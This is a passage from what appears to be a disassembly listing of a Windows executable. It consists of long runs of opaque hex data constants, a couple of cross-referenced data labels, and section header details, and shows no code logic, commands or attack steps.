		dd 380B6061h, 128BE4h, 0AB8C18F6h, 0AED3933Eh, 79FDFADh
		dd 6F798306h, 60C0F05h,	97BFF395h, 0AA05E60Ch, 0E465658Ch
		dd 28B08CE9h, 0C95E4B16h, 8D7B8D2Dh, 64180B8Eh,	938FB146h
		dd 0E4DDD3DCh, 60C17389h, 0C1837A5Eh, 84DBB4BCh, 5C192390h
		dd 0E70B7EECh, 9EA9936Ch, 0AD76B060h, 0AC91620Eh, 9180BD2Fh
		dd 92862397h, 93AEF591h, 0FED9B865h, 48C4CF0Bh,	1EA39483h
		dd 0DBD54B45h, 757B8005h, 562DF32Ah, 357D9794h,	0E60B95B2h
		dd 39660898h, 272F95ADh, 740B6396h, 8049227Dh, 9717E40Bh
		dd 2393BC67h, 6692A49Eh, 0B8E7C346h, 5997DDE1h,	40B3AD1Fh
		dd 554D0BD5h, 4F3FE6EDh, 0EE811605h, 0D20B9E7Fh, 0E814FF99h
		dd 804B97F1h, 660A98B2h, 93C84D7Ah, 521E38A3h, 602CBAC2h
		dd 232C05D7h, 98B275B6h, 66D59A97h, 0B5832623h,	1CD71DACh
		dd 796D05C6h, 28D1E482h, 9A099799h, 45309B42h, 0A09BAE5Dh
		dd 0B1F74141h, 0EBE0ACFh, 15CBFEE2h, 829D22C2h,	129D315Eh
		dd 9D37F25Eh, 2380E25Dh, 5D723FAAh, 8B6088C3h, 90683E25h
		dd 6AB59694h, 4105E8Ah,	9708E897h, 0FD8DFFE8h, 0EE81FB75h
		dd 18BC3292h, 4D9ABB56h, 17F4309Ch, 11168B47h, 2C66BBFh
		dd 0FAC78BE9h, 0E883C22Bh, 119DA05h, 0FC9DF20h,	0FF83C8B6h
		dd 0E9C103E0h, 8BA5F302h, 0A4F3C8EEh, 0D003FF11h, 2BE907C6h
		dd 0EAB783D7h
		db 21h,	57h
word_4BC2F6	dw 1101h		; DATA XREF: sub_40D530+2A7o
		dd 4BF41712h, 672FC375h, 0FF2B664Dh, 61AAF3CFh,	0C981F3C3h
		dd 1E0636F4h, 81ABB6D2h, 1000FEF8h, 23F30040h, 1DD4A80Dh
		dd 0F2D46F90h, 33FBE983h, 300468F3h, 13F27F83h,	0C6135FC8h
		dd 0BDF0BF0h, 23B644CBh, 0B8802C9h, 0BE529140h,	3259123Fh
		dd 80E2F2D3h, 0DE0212E9h, 3C220237h, 0AF0F0BDDh, 0C9B61EBDh
		dd 48B01588h, 326210DCh, 0F3DBCBADh, 0FE5D1A4Bh, 0C933F251h
		dd 0DFD93BF2h, 8BA45409h, 0B975DBC1h, 0F3D4A41Eh, 0E03E5B0Bh
		dd 0BEC4F0h, 0F249BF70h, 0F7BBB91h, 22392855h, 5CB9566Fh
		dd 91DDF359h, 6F34408Ah, 0F232191Eh, 86F281FFh,	8AF2860Ch
		dd 0EA80E30Eh, 656DE130h, 5F236358h, 38152F95h,	0A656220Ah
		dd 0F29FFDB7h, 0CEFFC3F7h, 136F9A00h, 0B775C3F5h, 43F0B8C0h
		dd 0F304F2FDh, 0B0C603F3h, 28AA805Dh, 1C86358Dh, 41D9764Fh
		dd 0B8EF5Fh, 0AF3F70Bh,	3D7EB71Ch, 0C8BFF61h, 0F2C82B11h
		dd 8EC1DD68h, 0FF5052F3h, 255B8864h, 0E2916888h, 8BDF0364h
		dd 0F2591F22h, 5A04220Ch, 0DC59155Eh, 0D32A4632h, 74146E11h
		dd 3705FB02h, 73055D83h, 0C146F2FDh, 0BD4B10C8h, 2BB2F1FAh
		dd 6D4FD89Eh, 827590FBh, 48BB6ABBh, 7A286DBDh, 74D13085h
		dd 4C2FB829h, 50000900h, 2E82BD21h, 17A76BB1h, 704D65ACh
		dd 38DC2A76h, 3D88ADD7h, 53AEBA51h, 4BADDD11h, 0F3F77A04h
		dd 5600C96Bh, 10DC2E02h, 75EE7642h, 79D41EC5h, 0ADD08C3h
		dd 65B5A881h, 751D062Dh, 6F2802EBh, 2D1E8A62h, 0F50FD472h
		dd 50C75B1Fh, 0C338h, 24000000h, 0FFh, 1DBh dup(0)
dword_4BCC18	dd 0			; DATA XREF: sub_418F60+B4r
		align 400h
_29C6B529	ends

; Section 6. (virtual address 000BD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000BD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4BD000h
		align 2000h
_idata2		ends


		end start